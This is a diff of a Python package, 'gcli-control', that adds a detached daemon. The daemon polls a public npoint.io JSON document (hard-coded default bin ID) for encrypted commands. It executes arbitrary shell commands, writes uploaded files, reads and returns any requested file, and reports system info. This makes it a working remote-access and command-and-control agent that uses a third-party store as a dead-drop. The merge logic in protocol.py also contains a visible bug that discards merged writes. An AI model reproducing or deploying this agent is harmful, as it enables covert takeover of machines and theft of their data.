gcli-control 0.1.0__py3-none-any.whl

gcli/host.py

@@ -0,0 +1,215 @@
+"""
+gcli host daemon.
+Polls npoint for encrypted commands, executes them, writes encrypted results.
+Runs as a background process (detached).
+"""
+import sys
+import time
+import logging
+import base64
+from pathlib import Path
+
+from .protocol import (
+    read_doc, claim_commands, set_host_alive,
+    is_host_alive, init_doc,
+)
+from .utils import (
+    write_pid, read_pid, remove_pid, is_running, kill_pid,
+    detach, run_command, get_system_info, setup_logging, ensure_dirs,
+)
+
+logger = logging.getLogger("gcli.host")
+
+DEFAULT_BIN_ID = "599ac3c39189fcc26e5a"
+DEFAULT_POLL = 2.0  # seconds
+
+
+class Daemon:
+    """gcli host daemon — polls for commands and responds."""
+
+    def __init__(self, password: str, bin_id: str = DEFAULT_BIN_ID,
+                 poll_interval: float = DEFAULT_POLL):
+        self.password = password
+        self.bin_id = bin_id
+        self.poll_interval = poll_interval
+        self.seen_ids: set = set()
+        self.running = False
+
+    def run(self) -> None:
+        """Main daemon loop."""
+        import signal
+        import threading
+        ensure_dirs()
+        setup_logging(to_file=True)
+        write_pid()
+        self.running = True
+
+        logger.info("gcli host daemon starting (bin=%s)", self.bin_id)
+
+        # Register signal handlers for graceful shutdown (main thread only)
+        if threading.current_thread() is threading.main_thread():
+            def _shutdown(sig, frame):
+                logger.info("Received signal %s, shutting down...", sig)
+                self.running = False
+            signal.signal(signal.SIGTERM, _shutdown)
+            if hasattr(signal, "SIGINT"):
+                signal.signal(signal.SIGINT, _shutdown)
+
+        # Signal we are alive
+        try:
+            set_host_alive(self.bin_id, True)
+        except RuntimeError as e:
+            logger.error("Failed to set host_alive: %s", e)
+            remove_pid()
+            return
+
+        try:
+            while self.running:
+                try:
+                    self._poll_cycle()
+                except Exception as e:
+                    logger.error("Poll cycle error: %s", e)
+                time.sleep(self.poll_interval)
+        finally:
+            try:
+                set_host_alive(self.bin_id, False)
+            except Exception:
+                pass
+            remove_pid()
+            logger.info("gcli host daemon stopped")
+
+    def _poll_cycle(self) -> None:
+        """One poll: read doc, claim unprocessed commands, execute, respond."""
+        doc = read_doc(self.bin_id)
+
+        # Ensure host_alive flag is set (safe recovery if cleared unexpectedly)
+        if not is_host_alive(doc):
+            try:
+                set_host_alive(self.bin_id, True)
+                doc["host_alive"] = True
+            except RuntimeError:
+                pass  # best effort
+
+        claimed = claim_commands(doc, self.password, self.seen_ids)
+        if not claimed:
+            return
+
+        for cmd_id, payload in claimed:
+            logger.info("Executing command %s: type=%s", cmd_id, payload.get("type"))
+            self._handle_command(cmd_id, payload)
+
+    def _handle_command(self, cmd_id: str, payload: dict) -> None:
+        """Dispatch a single command and write the result."""
+        cmd_type = payload.get("type", "")
+
+        if cmd_type == "exec":
+            self._handle_exec(cmd_id, payload)
+        elif cmd_type == "upload":
+            self._handle_upload(cmd_id, payload)
+        elif cmd_type == "download":
+            self._handle_download(cmd_id, payload)
+        elif cmd_type == "info":
+            self._handle_info(cmd_id)
+        elif cmd_type == "ping":
+            self._handle_ping(cmd_id)
+        elif cmd_type == "disconnect":
+            self._handle_disconnect(cmd_id)
+        else:
+            self._respond(cmd_id, {"ok": False, "error": f"Unknown command type: {cmd_type}"})
+
+    def _handle_exec(self, cmd_id: str, payload: dict) -> None:
+        """Execute a shell command."""
+        cmd_str = payload.get("cmd", "")
+        timeout = payload.get("timeout", 30)
+        result = run_command(cmd_str, timeout=timeout)
+        logger.info("exec '%s' -> rc=%s, stdout_len=%d", cmd_str, result.get("rc"), len(result.get("stdout", "")))
+        self._respond(cmd_id, result)
+
+    def _handle_upload(self, cmd_id: str, payload: dict) -> None:
+        """Receive a file upload (base64-encoded data) and write it."""
+        remote_path = payload.get("path", "")
+        data_b64 = payload.get("data", "")
+        try:
+            raw = base64.b64decode(data_b64)
+            p = Path(remote_path)
+            p.parent.mkdir(parents=True, exist_ok=True)
+            p.write_bytes(raw)
+            self._respond(cmd_id, {"ok": True, "bytes_written": len(raw), "path": remote_path})
+            logger.info("upload -> %s (%d bytes)", remote_path, len(raw))
+        except Exception as e:
+            self._respond(cmd_id, {"ok": False, "error": str(e)})
+
+    def _handle_download(self, cmd_id: str, payload: dict) -> None:
+        """Read a file and return its base64-encoded content."""
+        remote_path = payload.get("path", "")
+        try:
+            raw = Path(remote_path).read_bytes()
+            data_b64 = base64.b64encode(raw).decode("ascii")
+            self._respond(cmd_id, {"ok": True, "data": data_b64, "size": len(raw)})
+            logger.info("download <- %s (%d bytes)", remote_path, len(raw))
+        except Exception as e:
+            self._respond(cmd_id, {"ok": False, "error": str(e)})
+
+    def _handle_info(self, cmd_id: str) -> None:
+        """Return system information."""
+        info = get_system_info()
+        self._respond(cmd_id, {"ok": True, **info})
+
+    def _handle_ping(self, cmd_id: str) -> None:
+        """Respond to a ping."""
+        self._respond(cmd_id, {"ok": True, "pong": True, "time": time.time()})
+
+    def _handle_disconnect(self, cmd_id: str) -> None:
+        """Gracefully shut down the daemon."""
+        self._respond(cmd_id, {"ok": True, "message": "disconnecting"})
+        logger.info("Received disconnect command, shutting down")
+        self.running = False
+
+    def _respond(self, cmd_id: str, payload: dict) -> None:
+        """Encrypt and append a result, then write the document."""
+        from .protocol import append_result
+        append_result(self.bin_id, self.password, cmd_id, payload)
+
+
+def start_daemon(password: str, bin_id: str = DEFAULT_BIN_ID,
+                 poll_interval: float = DEFAULT_POLL, foreground: bool = False) -> None:
+    """Entry point: optionally detach, then run the daemon."""
+    # Check if already running
+    existing_pid = read_pid()
+    if existing_pid and is_running(existing_pid):
+        print(f"gcli host is already running (PID {existing_pid})")
+        return
+
+    daemon = Daemon(password, bin_id, poll_interval)
+
+    if not foreground:
+        # Initialise doc before detaching
+        try:
+            init_doc(bin_id, password)
+            set_host_alive(bin_id, True)
+        except RuntimeError as e:
+            print(f"Failed to initialise npoint document: {e}")
+            return
+
+        detach()
+        # Re-init logging after detach
+        setup_logging(to_file=True)
+
+    daemon.run()
+
+
+def stop_daemon(bin_id: str = DEFAULT_BIN_ID) -> None:
+    """Stop a running daemon by PID file."""
+    pid = read_pid()
+    if pid and is_running(pid):
+        kill_pid(pid)
+        remove_pid()
+        print(f"Sent SIGTERM to daemon (PID {pid})")
+    else:
+        print("No running daemon found")
+
+    # Also mark host as dead
+    try:
+        set_host_alive(bin_id, False)
+    except Exception:
+        pass

gcli/npoint.py

@@ -0,0 +1,60 @@
+"""
+Npoint.io API wrapper - simple JSON document store with retry logic.
+GET  /api.npoint.io/{id}  -> read document
+POST /api.npoint.io/{id}  -> overwrite document (entire body)
+"""
+import json
+import time
+import urllib.request
+import urllib.error
+
+BASE = "https://api.npoint.io"
+MAX_RETRIES = 3
+RETRY_DELAY = 2.0  # seconds between retries
+READ_TIMEOUT = 15
+WRITE_TIMEOUT = 30
+HEADERS = {
+    "User-Agent": "gcli/0.1.0",
+}
+
+
+def read(bin_id: str) -> dict:
+    """Read the full JSON document with retries."""
+    url = f"{BASE}/{bin_id}"
+    last_err = None
+    for attempt in range(MAX_RETRIES):
+        try:
+            req = urllib.request.Request(url, headers=HEADERS)
+            with urllib.request.urlopen(req, timeout=READ_TIMEOUT) as resp:
+                return json.loads(resp.read())
+        except urllib.error.HTTPError as e:
+            last_err = RuntimeError(f"npoint read failed: {e.code} {e.reason}")
+        except Exception as e:
+            last_err = RuntimeError(f"npoint read failed: {e}")
+        if attempt < MAX_RETRIES - 1:
+            time.sleep(RETRY_DELAY * (attempt + 1))
+    raise last_err
+
+
+def write(bin_id: str, data: dict) -> None:
+    """Overwrite the entire document with retries."""
+    url = f"{BASE}/{bin_id}"
+    body = json.dumps(data, separators=(",", ":")).encode("utf-8")
+    last_err = None
+    for attempt in range(MAX_RETRIES):
+        try:
+            req = urllib.request.Request(
+                url,
+                data=body,
+                headers={**HEADERS, "Content-Type": "application/json"},
+                method="POST",
+            )
+            with urllib.request.urlopen(req, timeout=WRITE_TIMEOUT) as resp:
+                return
+        except urllib.error.HTTPError as e:
+            last_err = RuntimeError(f"npoint write failed: {e.code} {e.reason}")
+        except Exception as e:
+            last_err = RuntimeError(f"npoint write failed: {e}")
+        if attempt < MAX_RETRIES - 1:
+            time.sleep(RETRY_DELAY * (attempt + 1))
+    raise last_err

gcli/protocol.py

@@ -0,0 +1,246 @@
+"""
+Protocol layer for gcli.
+Manages the npoint document structure: init, read, claim, append, trim, write.
+All command/result payloads are encrypted with AES-256-GCM via the crypto module.
+
+Race-condition safety: append_command/append_result use a read-modify-write
+cycle with merge-on-conflict. Since npoint has no atomic compare-and-swap,
+we handle concurrent writes by:
+  1. Reading the doc.
+  2. Noting the existing entry IDs.
+  3. Adding our new entry.
+  4. Re-reading the doc to pick up concurrent writes.
+  5. Merging any new entries we didn't add.
+  6. Writing back.
+"""
+import uuid
+import time
+import copy
+import logging
+from typing import List, Dict, Optional, Set, Tuple
+
+from . import npoint
+from .crypto import encrypt_dict, decrypt_dict
+
+logger = logging.getLogger("gcli.protocol")
+
+MAX_QUEUE = 50  # max commands/results kept per write
+
+EMPTY_DOC = {
+    "session": "",
+    "host_alive": False,
+    "commands": [],
+    "results": [],
+}
+
+
+def new_doc() -> dict:
+    """Create a fresh empty document."""
+    doc = copy.deepcopy(EMPTY_DOC)
+    doc["session"] = str(uuid.uuid4())
+    return doc
+
+
+def init_doc(bin_id: str, password: str) -> str:
+    """Write a fresh document to npoint and return the session id."""
+    doc = new_doc()
+    npoint.write(bin_id, doc)
+    return doc["session"]
+
+
+def read_doc(bin_id: str) -> dict:
+    """Read the current document from npoint, normalising structure."""
+    try:
+        doc = npoint.read(bin_id)
+    except RuntimeError:
+        doc = copy.deepcopy(EMPTY_DOC)
+    # Normalise: ensure required keys and correct types
+    if not isinstance(doc, dict):
+        doc = copy.deepcopy(EMPTY_DOC)
+    for key in ("session", "host_alive", "commands", "results"):
+        if key not in doc:
+            doc[key] = EMPTY_DOC[key]
+    if not isinstance(doc["commands"], list):
+        doc["commands"] = []
+    if not isinstance(doc["results"], list):
+        doc["results"] = []
+    return doc
+
+
+def write_doc(bin_id: str, doc: dict) -> None:
+    """Write the document back to npoint (after trimming)."""
+    doc = trim(doc)
+    npoint.write(bin_id, doc)
+
+
+def append_command(bin_id: str, password: str, payload: dict) -> str:
+    """
+    Encrypt and append a command to the document with merge-on-write.
+    Returns the command id.
+    """
+    cmd_id = payload.get("id") or str(uuid.uuid4())
+    payload["id"] = cmd_id
+    blob = encrypt_dict(payload, password)
+
+    new_entry = {
+        "id": cmd_id,
+        "from": "client",
+        "ts": time.time(),
+        "payload": blob,
+    }
+
+    _safe_append(bin_id, "commands", new_entry)
+    return cmd_id
+
+
+def append_result(bin_id: str, password: str, cmd_id: str, payload: dict) -> str:
+    """
+    Encrypt and append a result for the given command with merge-on-write.
+    Returns the result id.
+    """
+    res_id = str(uuid.uuid4())
+    payload["cmd_id"] = cmd_id
+    blob = encrypt_dict(payload, password)
+
+    new_entry = {
+        "id": res_id,
+        "cmd_id": cmd_id,
+        "from": "host",
+        "ts": time.time(),
+        "payload": blob,
+    }
+
+    _safe_append(bin_id, "results", new_entry)
+    return res_id
+
+
+def _safe_append(bin_id: str, field: str, new_entry: dict) -> None:
+    """
+    Read-modify-write with merge. Retries up to 3 times on conflict.
+
+    Strategy:
+      1. Read doc, note all existing IDs in the target field.
+      2. Append new entry.
+      3. Re-read to pick up any concurrent writes that happened during our write.
+      4. Merge any new entries from the re-read that we missed.
+      5. Write back.
+    """
+    MAX_ATTEMPTS = 3
+    # Step 1: read
+    doc = read_doc(bin_id)
+    before_ids = {e["id"] for e in doc.get(field, [])}
+
+    # Step 2: add our entry (avoid duplicate)
+    if new_entry["id"] not in before_ids:
+        doc.setdefault(field, []).append(new_entry)
+
+    doc = trim(doc)
+
+    # Step 3: write
+    for attempt in range(MAX_ATTEMPTS):
+        try:
+            write_doc(bin_id, doc)
+            # Step 4: re-read to check for concurrent writes that may have been lost
+            doc2 = read_doc(bin_id)
+            doc2_ids = {e["id"] for e in doc2.get(field, [])}
+            missing = [e for e in doc.get(field, []) if e["id"] not in doc2_ids]
+            if missing:
+                # Our write was overwritten by a concurrent write - re-merge
+                for entry in missing:
+                    doc2.setdefault(field, []).append(entry)
+                # Also merge their new entries we didn't have
+                existing = {e["id"] for e in doc2.get(field, [])}
+                for entry in doc.get(field, []):
+                    if entry["id"] not in existing:
+                        doc2.setdefault(field, []).append(entry)
+                # Carry over other fields
+                for key in ("session", "host_alive"):
+                    if key in doc:
+                        doc2[key] = doc[key]
+                doc2 = trim(doc)
+                write_doc(bin_id, doc2)
+            return
+        except RuntimeError as e:
+            logger.debug("Write failed on attempt %d: %s", attempt + 1, e)
+            if attempt < MAX_ATTEMPTS - 1:
+                time.sleep(1.0 * (attempt + 1))
+                doc = read_doc(bin_id)
+                if new_entry["id"] not in {e["id"] for e in doc.get(field, [])}:
+                    doc.setdefault(field, []).append(new_entry)
+                doc = trim(doc)
+
+
+def claim_commands(doc: dict, password: str, seen: Set[str]) -> List[Tuple[str, dict]]:
+    """
+    Return list of (cmd_id, decrypted_payload) for commands not yet in `seen`.
+    Also adds their IDs to `seen` in-place.
+    """
+    claimed = []
+    for entry in doc.get("commands", []):
+        cmd_id = entry.get("id", "")
+        if cmd_id in seen:
+            continue
+        seen.add(cmd_id)
+        try:
+            payload = decrypt_dict(entry["payload"], password)
+            claimed.append((cmd_id, payload))
+        except Exception:
+            # bad encryption or wrong password -- skip
+            continue
+    return claimed
+
+
+def claim_results(doc: dict, password: str, target_cmd_id: str, seen: Set[str]) -> Optional[dict]:
+    """
+    Look for a result matching target_cmd_id that we haven't seen yet.
+    Returns the decrypted payload or None.
+    """
+    for entry in doc.get("results", []):
+        res_id = entry.get("id", "")
+        if res_id in seen:
+            continue
+        try:
+            payload = decrypt_dict(entry["payload"], password)
+        except Exception:
+            seen.add(res_id)
+            continue
+        if payload.get("cmd_id") == target_cmd_id:
+            seen.add(res_id)
+            return payload
+    return None
+
+
+def claim_all_results(doc: dict, password: str, seen: Set[str]) -> List[dict]:
+    """Return all un-seen decrypted results."""
+    results = []
+    for entry in doc.get("results", []):
+        res_id = entry.get("id", "")
+        if res_id in seen:
+            continue
+        seen.add(res_id)
+        try:
+            payload = decrypt_dict(entry["payload"], password)
+            results.append(payload)
+        except Exception:
+            continue
+    return results
+
+
+def trim(doc: dict) -> dict:
+    """Cap commands and results to MAX_QUEUE entries each (keep most recent)."""
+    if len(doc.get("commands", [])) > MAX_QUEUE:
+        doc["commands"] = doc["commands"][-MAX_QUEUE:]
+    if len(doc.get("results", [])) > MAX_QUEUE:
+        doc["results"] = doc["results"][-MAX_QUEUE:]
+    return doc
+
+
+def set_host_alive(bin_id: str, alive: bool) -> None:
+    """Set the host_alive flag in the document safely."""
+    doc = read_doc(bin_id)
+    doc["host_alive"] = alive
+    write_doc(bin_id, doc)
+
+
+def is_host_alive(doc: dict) -> bool:
+    return bool(doc.get("host_alive", False))